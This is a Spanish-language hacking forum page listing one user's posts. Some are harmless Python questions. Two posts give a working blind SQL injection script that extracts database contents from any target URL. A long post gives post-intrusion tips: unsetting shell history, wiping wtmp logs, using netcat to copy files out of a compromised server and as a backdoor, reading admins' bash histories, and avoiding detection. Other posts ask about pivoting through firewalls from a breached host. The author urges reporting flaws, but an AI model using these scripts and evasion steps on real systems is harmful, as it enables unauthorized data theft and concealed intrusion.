elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / [python] Obtener datos por raw_input o similar sin detener el programa en: 26 Enero 2010, 19:13 pm
Hola a todos! estaba tratando de encontrar alguna forma de hacer un raw_input en python y que el programa siga trabajando mientras el usuario no introduzca datos.

Si alguien conoce alguna forma de hacer ésto me vendría muy bien :)

Gracias!
2  Programación / Scripting / [Python] Ayuda con "Runtime error" en: 14 Diciembre 2009, 19:01 pm
Hola a todos!

Estoy haciendo un pequeño programa en python para resolver éste problema: http://juegos.microsiervos.com/matematicas/17-por-17.html

Bueno, la verdad es que no pretendo resolverlo ya que es bastante dificil pero estoy aprendiendo bastante creando un programa que lo intente. En resumen el problema trata de crear una matriz 17x17 en la que con 4 colores distintos (números) no se formen "rectángulos virtuales", es decir, que no haya los mismos 4 números en formando las esquinas de ningún rectángulo en la matriz.

Por ahora con mi programa consigo si problema hasta las de 11x11, sin embargo al pasar a las 12x12 python me da un error pasado un rato que no se cómo evitar. El code de mi programa es el siguiente:

Código
  1. #!/usr/bin/python
  2.  
  3. import numpy
  4. from random import uniform
  5. import os
  6. import sys
  7. m = int(sys.argv[1])
  8. matriz = numpy.zeros((m,m), dtype="int")
  9. x = 0
  10. y = 0
  11. uno = 0
  12. dos = 0
  13. tres = 0
  14. cuatro = 0
  15. count = 0
  16. error = 0
  17. def check(num,x,y):
  18. column = []
  19. #print "x=%s,y=%s" % (x,y)
  20. for col in range(0,x):
  21. if num == matriz[col][y]:
  22. column.append(col)
  23. #print "colision de columna en %s %s con numero %s" % (col,y,num)
  24. if col == x - 1:
  25. return column
  26.  
  27. def check2(num,x,y):
  28. fila = []
  29. #print "x=%s,y=%s" % (x,y)
  30. for fil in range(0,y):
  31. if num == matriz[x][fil]:
  32. #print "colision de fila en %s %s con numero %s" % (x,fil,num)
  33. fila.append(fil)
  34. if fil == y - 1:
  35. return fila
  36.  
  37.  
  38.  
  39.  
  40. def colision(nam,x,y):
  41. i=0
  42. j=0
  43. if x==0 or y==0:
  44. return 1
  45. micol = check(nam,x,y)
  46. mifil = check2(nam,x,y)
  47. #print micol
  48. #print mifil
  49. if micol == None:
  50. return 1
  51. elif mifil == None:
  52. return 1
  53. else:
  54. for i in micol:
  55. for j in mifil:
  56. if matriz[i][j] == nam:
  57. #print "colision de diagonal en %s %s con numero %s" % (i,j,nam)
  58. return 0
  59. return 1
  60.  
  61.  
  62. def fix(nam,x,y,countck):
  63. i=0
  64. j=0
  65. micol = check(nam,x,y)
  66. mifil = check2(nam,x,y)
  67. for i in micol:
  68. for j in mifil:
  69. if matriz[i][j] == nam:
  70. mynewnum = int(uniform(1,5))
  71. while mynewnum == nam:
  72. mynewnum = int(uniform(1,5))
  73. if countck > 20 and countck < 40:
  74. countck = 0
  75. matriz[i][j] = mynewnum
  76. elif countck >= 40:
  77. countck = 0
  78. matriz[x][j] = mynewnum
  79. else:
  80. matriz[i][y] = mynewnum
  81. #print "cambio (%s,%s) por %s porque colisiona con (%s,%s)" % (i,y,mynewnum,i,j)
  82. def checkear(countck):
  83. x = 1
  84. y = 1
  85. while True:
  86. if colision(matriz[x][y],x,y) == 0:
  87. print "matriz con errores en (%s,%s)" % (x,y)
  88. countck += 1
  89. fix(matriz[x][y],x,y,countck)
  90. os.system('clear')
  91. print "\n"*8 + str(matriz)
  92. print countck
  93. checkear(countck)
  94. else:
  95. if x == m - 1:
  96. if y == m - 1:
  97. print "matriz sin errores"
  98. exit()
  99. x = -1
  100. y += 1
  101. x += 1
  102.  
  103.  
  104.  
  105.  
  106.  
  107. while True:
  108. mynum = int(uniform(1,5))
  109. if colision(mynum,x,y) != 0:
  110. matriz[x][y] = mynum
  111. if mynum == 1:
  112. uno +=1
  113. elif mynum == 2:
  114. dos +=1
  115. elif mynum == 3:
  116. tres +=1
  117. elif mynum == 4:
  118. cuatro +=1
  119. #print "x = " + str(x)
  120. #print "y = " + str(y)
  121. os.system('clear')
  122. print "\n"*8 + str(matriz)
  123. print "errores: %s" % error
  124. print "hay %s unos, %s doses, %s treses y %s cuatros" % (uno,dos,tres,cuatro)
  125. if x == m - 1:
  126. if y == m - 1:
  127. checkear(countck = 0)
  128. x = -1
  129. y += 1
  130. x += 1
  131. count = 0
  132. else:
  133. count += 1
  134. if count == 15:
  135. fix(mynum,x,y,0)
  136. matriz[x][y] = mynum
  137. error += 1
  138. os.system('clear')
  139. print "\n"*8 + str(matriz)
  140. print "errores: %s" % error
  141. print "hay %s unos, %s doses, %s treses y %s cuatros" % (uno,dos,tres,cuatro)
  142. if x == m - 1:
  143. if y == m - 1:
  144. checkear(countck = 0)
  145. x = -1
  146. y += 1
  147. x += 1
  148. count = 0
  149.  

Hay partes que están comentadas ya que las usaba para "debugear" el programa ya que lo estoy haciendo con gedit y necesitaba alguna forma de ver donde fallaba.

La cuestión es que al intentar conseguir una matriz 12x12, algo antes de llegar a las 1000 ejecuciones de la función chequear() me lanza el siguiente error:
Código:
Exception RuntimeError:'maximum recursion depth exceeded while calling a Python object' in <type 'exceptions.AttributeError'> ignored

El código es un poco caótico ya que lo fui haciendo sobre la marcha y no tengo mucha idea de programar pero por mucho que lo reviso no encuentro la forma de evitar el error. Espero que me podais ayudar.

Un saludo!!
3  Seguridad Informática / Nivel Web / Script para extraer datos de bsqli en python en: 2 Noviembre 2009, 21:09 pm
hola a todos!
hace algún tiempo publiqué éste script en la sección de scripting del foro pero ahora me doy cuenta de que lo debería haber puesto aquí. Es un script para extraer datos de una inyección sql ciega. Viene bien caundo otras herramientas automáticas no detectan el punto de inyección. Modificando un poco el code sirve para todas las situaciones.
Me gustartía que me dijerais de qué forma mejorarías la forma de encontrar el caracter correcto ya que me método es bastante cutre.jeje.
Código
  1. #!/usr/bin/python
  2. # -*- coding: iso-8859-1 -*-
  3.  
  4. import re
  5. import urllib
  6. import urllib2
  7. import sys
  8. import cookielib
  9. from socket import ssl
  10.  
  11. ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
  12. h = {"User-Agent" : ua}
  13.  
  14. letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
  15.  
  16. usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  17. usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
  18. usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
  19. usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  20. if len(sys.argv) < 3:
  21. print usage
  22. exit()
  23.  
  24. hsh = urllib2.HTTPSHandler()
  25. cookie_h = urllib2.HTTPCookieProcessor()
  26. opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
  27. urllib2.install_opener(opener)
  28.  
  29. x = 1
  30. y = 45
  31.  
  32. url = sys.argv[1]
  33. param = sys.argv[2]
  34. sql = param.replace(" ", "%20")
  35.  
  36. def mayor():
  37. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
  38. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  39. return 1
  40. def menor():
  41. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
  42. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  43. return 1
  44. def salida():
  45. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
  46. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  47. return 1
  48. def acierto():
  49. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
  50. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  51. return 1
  52.  
  53. try:
  54.    while True:
  55. if acierto():
  56. x += 1
  57. print letra[y]
  58. if salida():
  59. exit()
  60.  
  61. elif mayor():
  62. y += 10
  63. if mayor():
  64. y += 5
  65. elif menor():
  66. y -= 1
  67. elif acierto():
  68. x += 1
  69. print letra[y]
  70. else:
  71. if menor():
  72. y -= 7
  73. if menor():
  74. y -= 10
  75. elif mayor():
  76. y += 1
  77. elif acierto():
  78. x += 1
  79. print letra[y]
  80. else:
  81. print "error"
  82. exit()
  83.  
  84. except KeyboardInterrupt:
  85.     print "\n Cierro"

Un saludo!!
4  Seguridad Informática / Hacking / "truquillos" que facilitan un poco la vida en una shell remota en: 1 Noviembre 2009, 04:36 am
Hola a todos!!

      Me gustría compartir con vosotros algunos comandos y pequeños consejos que facilitan algo las cosas en una shell remota. Muchas veces cuando conseguimos una shell en un sistema remoto es más "fea" que pegarle a un padre con un calcetin sudao... me refiero a que no hay "prompt" y no se sabe donde empieza y acaba la salida de un comando. Para solucionar ésto se pueden escribir un par de comandos que hacen la shell más "clara":
Código:
export TERM=xterm; exec bash -i
Además si no se quiere dejar huella en el archivo ".bash_history" también se deberá ejecutar:
Código:
unset HISTFILE; unset SAVEHIST

      Una de las cosas de las que hay que estar pendiente cuando se accede a un servidor es de quíen está conectado. Si quién está conectado "legítimamente" hace un listado de los procesos o las conexiones es muy probable que nos descubran. Para ver quién está conectado basta con ejecutar el comando:
Código:
w
o bien
Código:
who

      Si al ejecutar esos comandos vemos que hay alguien conectado lo más razonable es desconectarse. Aunque la shell no aparezca reflejada en los procesos o en las conexiones (netstat) si al usuario conectado le da por usar tcpdump verá actividad sospechosa...

      Otra cosa muy útil es ver quíen cuándo y desde dónde ha accedido al servidor. Ésto se puede saber fácilmente con el comando
Código:
last
el cual hace uso del archivo wtmp por defecto (/var/log/wtmp) así que si os habeis conectado por ssh aseguraos de limpiar ese archivo si no quereis ser descubiertos.

      Las conexiones por SSH son ruidosas y dejan mucho rastro así que lo mejor es evitarlas aunque obviamente tienen sus ventajas ya que al conectarnos a una pts podemos hacer cosas que desde una shell interactiva no se pueden como por ejemplo conectarnos por SSH a otras máquinas o tener "job control" es decir, poder traer al frente (foreground, comando fg) un proceso que anteriormente habíamos puesto en background (añadiendo & al final del comando).

      Si el acceso al servidor es "ilegal" es decir, no tienes permiso explícito para ello, utiliza la carpeta "/tmp" para todo lo que tengas que hacer. Normalmente no se revisa y si se hace no se hace muy detalladamente.

      Hay algunos programas que son esenciales si se quiere curiosear un poco por la red del servidor. El primero es netcat. Te puede servir desde backdoor improvisado hasta transferencia de archivos. Se compila sin problenas desde las fuentes incluso en kernels viejunos. Por si no lo sabeis para enviar archivos con netcat se hace de la siguiente manera:

En tu máquina:
Código:
nc -l -p tupuerto > archivo
En el servidor:
Código:
nc tuip tupuerto -vv < archivo &

      Es preferible poner nc a la escucha en tu máquina por si el servidor está detrás de un firewall, si no es así se pueden invertir los papeles. Lo de añadir "&" al final del comando del servidor es para dejar el proceso en background y poder seguir ejecutando comandos mientras se transfiere el archivo ya que a veces nc se pone tonto y te puede dejar sin shell, teniendo que volver a conectarte. Asegurate de "matar" el proceso de nc en el servidor una vez transferido el archivo si éste no se cierra sólo.

      Otra herramienta muy útil es nmap. En servidores un poco viejos las versiones más nuevas te darán problemas de dependencias y tampoco es plan de instalar 10000 librerías en el servidor. Busca versiones más viejas o paquetes rpm para el servidor concreto. Si es redhat o alguna de sus variantes puedes ver que versión corre en "/etc/redhat-release". Una buena fuente de archivos rpm es:
Código:
http://rpm.pbone.net/

      Si necesitas instalar versiones nuevas de algún programa ya instalado en el servidor hazlo siempre dejando la versión vieja tal como está. Es decir, por ejemplo si el servidor tiene instalado python1.5 y tú necesitas python2.4 para correr el sslstrip deja python1.5 como principal e instala python2.4 como secundario (se hace con "make altinstall" en lugar de "make install"). Si no lo haces así puedes dejar inservibles scripts creados por usuarios legítimos.

      Cuando accedes al servidor también es recomendable (si eres root, claro está) echar un vistazo a los .bash_history de las carpetas de los distintos usuarios. A parte de aprender mucho con los comandos que ejecutan los administradores te servirá para ver qué logs revisan, dónde y cómo se conectan...

     Intenta siempre no dejar "*****" en el servidor. Usando la carpeta "/tmp" siempre te ahorras bastantes quebraderos de cabeza. Un comando útil para ver qué archivos has modificado/creado es:
Código:
ls -lart
      Éste comando lista todos los archivos de la carpeta en la que te encuentras ordenados inversamente por fecha de modificación, es decir, el más nuevo abajo, de manera que puedes ver que archivos has creado/modificado tú o se han creado mientras estabas conectado.

      Un programilla útil aunque con doble filo es ettercap. Como ya sabreis sirve como sniffer, MitM y algunas cosillas más, sin embargo es bastante peligroso en determinados ambientes. En una red de servidores o centro de datos, a los 30 segundos de hacer un MitM tendrás al señor root conectado mirando a ver qué pasa. En las redes de servidores el gateway, por malo que sea se dará cuenta del arp spoofing y probablemente bloqueará el tráfico hacia los hosts afectados por lo que lo único que conseguirás es dejar sin servicio el host y llenar la red de alarmas.

      Si eres detectado antes de reportar la vulnerabilidad que te dió acceso es interesante volver a entrar y revisar el .bash_history para ver cómo y poqué has sido detectado. Aprenderás mucho. Por supuesto después de hacerlo reporta dónde está el fallo y si es posible cómo solucionarlo y no vuelvas a entrar. Si te han detectado han ganado la partida y debes retirarte con buen perder, así son las normas del juego.  ;D

      Una de la primeras cosas que se deberían aprender es que siendo l@mer no se aprende... No vayas por el mundo defaceando webs o haciendo "rm -rf /" (si no sabes lo que hace eso, no lo pruebes). La gente trabaja duro para mantener servidores y crear webs y joder su trabajo no aprenderás nada. En lugar de ello revisa la configuración del servidor (la carpeta /etc es una mina) y aprende de ello, infórmate sobre para qué sirve cada archivo allí alojado y piensa cómo lo mejorarías.

      Cuando hayas curioseado y aprendido lo suficiente y sin poner en peligo el servidor ni la información que allí se aloja reporta SIEMPRE la vulnerabilidad que te dió acceso. Si el servidor es "crítico" o maneja datos demasiado "sensibles" reporta la vulnerabilidad enseguida, puedes causar mucho más mal del que crees. Al reportar la vulnerabilidad te puedes encontrar de todo, desde gente que te quiere demandar hasta gente que te estará eternamente agradecida. Por si acaso reporta la vulnerabilidad desde un correo completamente desvinculado de tus datos personales.

      Otra forma "curiosa" y divertida de reportar el fallo es esperar a que root se conecte y usar el comando wall. Para ello creas un archivo con lo que quieres decirle al administrador  y ejecutas "wall < archivo". Ésto hará que le aparezca a todos los usuarios conectados (procura que sólo sea root) a una consola el mensaje que hayas escrito en "archivo". Por ejemplo:
Código:
echo "Hola, su servidor ha sido comprometido, para más información ejecute 'nc localhost 5555'" > mensaje
wall < mensaje
nc -l -p 5555 -vv
      De ésta forma el sr. root sabrá que le estás esperando en el puerto 5555 del servidor para tener una charla sobre la vulnerabilidad que has encontrado en su servidor.

      Bueno, éstos son todos los consejos que tengo que daros por ahora a los que os iniciais en ésto. No pretenden ser una tabla de mandamientos a seguir, simplemente son cosas de las que me he dado cuenta en el poco tiempo que llevo en ésto y que pueden seros útiles. Me gustaría que más gente aportara cosas que facilitan el trbajo en una shell remota o consejos que tengan que darnos a los que nos iniciamos en ésto.

      Ah! por si no ha quedado claro lo aquí expuesto es para sistemas UNIX.

      Un saludo!
5  Programación / Scripting / [python] Script Blind Sql Injection en: 24 Septiembre 2009, 12:11 pm
Hola! He hecho un pequeño script para sacar datos de una blind SQL injection en python pero me gustaría que me dierais algun consejo y sugerencia. El script es éste:
Código
  1. #!/usr/bin/python
  2. # -*- coding: iso-8859-1 -*-
  3.  
  4. import re
  5. import urllib
  6. import urllib2
  7. import sys
  8. import cookielib
  9. from socket import ssl
  10.  
  11. ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
  12. h = {"User-Agent" : ua}
  13.  
  14. letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
  15.  
  16. usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  17. usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
  18. usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
  19. usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  20. if len(sys.argv) < 3:
  21. print usage
  22. exit()
  23.  
  24. hsh = urllib2.HTTPSHandler()
  25. cookie_h = urllib2.HTTPCookieProcessor()
  26. opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
  27. urllib2.install_opener(opener)
  28.  
  29. x = 1
  30. y = 45
  31.  
  32. url = sys.argv[1]
  33. param = sys.argv[2]
  34. sql = param.replace(" ", "%20")
  35.  
  36. def mayor():
  37. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
  38. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  39. return 1
  40. def menor():
  41. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
  42. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  43. return 1
  44. def salida():
  45. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
  46. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  47. return 1
  48. def acierto():
  49. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
  50. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  51. return 1
  52.  
  53. try:
  54.    while True:
  55. if acierto():
  56. x += 1
  57. print letra[y]
  58. if salida():
  59. exit()
  60.  
  61. elif mayor():
  62. y += 10
  63. if mayor():
  64. y += 5
  65. elif menor():
  66. y -= 1
  67. elif acierto():
  68. x += 1
  69. print letra[y]
  70. else:
  71. if menor():
  72. y -= 7
  73. if menor():
  74. y -= 10
  75. elif mayor():
  76. y += 1
  77. elif acierto():
  78. x += 1
  79. print letra[y]
  80. else:
  81. print "error"
  82. exit()
  83.  
  84. except KeyboardInterrupt:
  85.     print "\n Cierro"
  86.  
  87.  
  88.  

Me gustaría que me hicierais alguna sugerencia sobre como encontrar con el menor número de intentos la letra correcta. La
forma en que lo hago es bastante rudimentaria y seguro que hay alguna más eficaz.
También me gustaría saber si hay alguna forma de que, al usar "print" me vaya sacando las letras que encuentra en la
misma línea.
Gracias!!

PD: no os riais mucho que estoy empezando con python y con la programación en general!! jeje.
6  Programación / PHP / ¿existe o se podría crear algun navegador web en php? en: 24 Abril 2009, 06:26 am
Mi duda es la siguiente: a través de tu navegador (pongamos firefox por ejemplo) sería posible ejecutar otro navegador web en php? Parece una tontería pero desde el punto de vista del hacking me parece bastante útil ya que hay muchos servidores filtrados por un firewall pero que si consigues acceder a uno de ellos y le subes ese "navegador wen imaginario en php" tienes acceso a los demás.
Bueno, esa es mi cuestión, espero que alguien pueda responderme.
Un saludo!
7  Seguridad Informática / Hacking / [Duda]Conexión a base de datos Oracle en: 23 Abril 2009, 05:44 am
Hola! quisiera saber si hay alguna forma de conectar a una base de datos Oracle de manera similar a como se hace por ejemplo con la c99 shell para las mysql. Si no es posible también me vendría bien que alguen me dijera como se podría conectar con dicha base de datos si se tiene acceso al servidor que la utiliza y ésta se encuentra en otro servidor.
La cuestión es que desde mi ordenador me aparecen todos los puertos del servidor con la base de datos cerrados pero desde el server remoto al que tengo acceso si que se puede contactar con dicho servidor.
Bueno, eso es todo, espero que alguien me pueda ayudar :)

Gracias!
8  Programación / Scripting / [Python] ¿?convertir ascii a hex en python¿? en: 21 Febrero 2009, 16:12 pm
Hola! estoy haciendome un pequeño script en python para que coja un archivo, decodifique una parte de cada linea de base64 y luego lo convierta el resultado a hexadecimal. El problema es que no se que función hay que usar en python para convertir caracteres ascii a hexadecimales...
la funcion hex creo que sólo sirve para números. Espero que me podais ayudar.
Gracias!!
9  Seguridad Informática / Hacking / john the ripper me detecta hash de mysql como oracle?? en: 3 Febrero 2009, 14:41 pm
hola! me gustaria saber si es posible que en una base de datos mysql el hash del password sea de oracle.
gracias!
10  Seguridad Informática / Nivel Web / Inyecciones sql en oracle en: 1 Febrero 2009, 19:50 pm
Hola! no conozco mucho sobre como funcionan las bases de datos oracle y me gustaria que alguen me dijera donde puedo informarme un poco sobre como se estructuran.
Por lo visto en éstas no hay un "information_schema" como en mysql por lo que no se puede saber los nombres de las bases de datos que hay en el sistema. En oracle se utiliza algo llamado "tablespace_name". Uno de ellos es el tablespace "SYSTEM"  que se crea automaticamente al hacer la base de datos. A ese si que tengo acceso ya que se su nombre.
Lo que me gustaría saber es si de ese tablespace se puede obtener informacion sobre como se llaman los demás tablespaces o información aprobechable sobre el sistema.
Gracias de antemano por la ayuda!
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines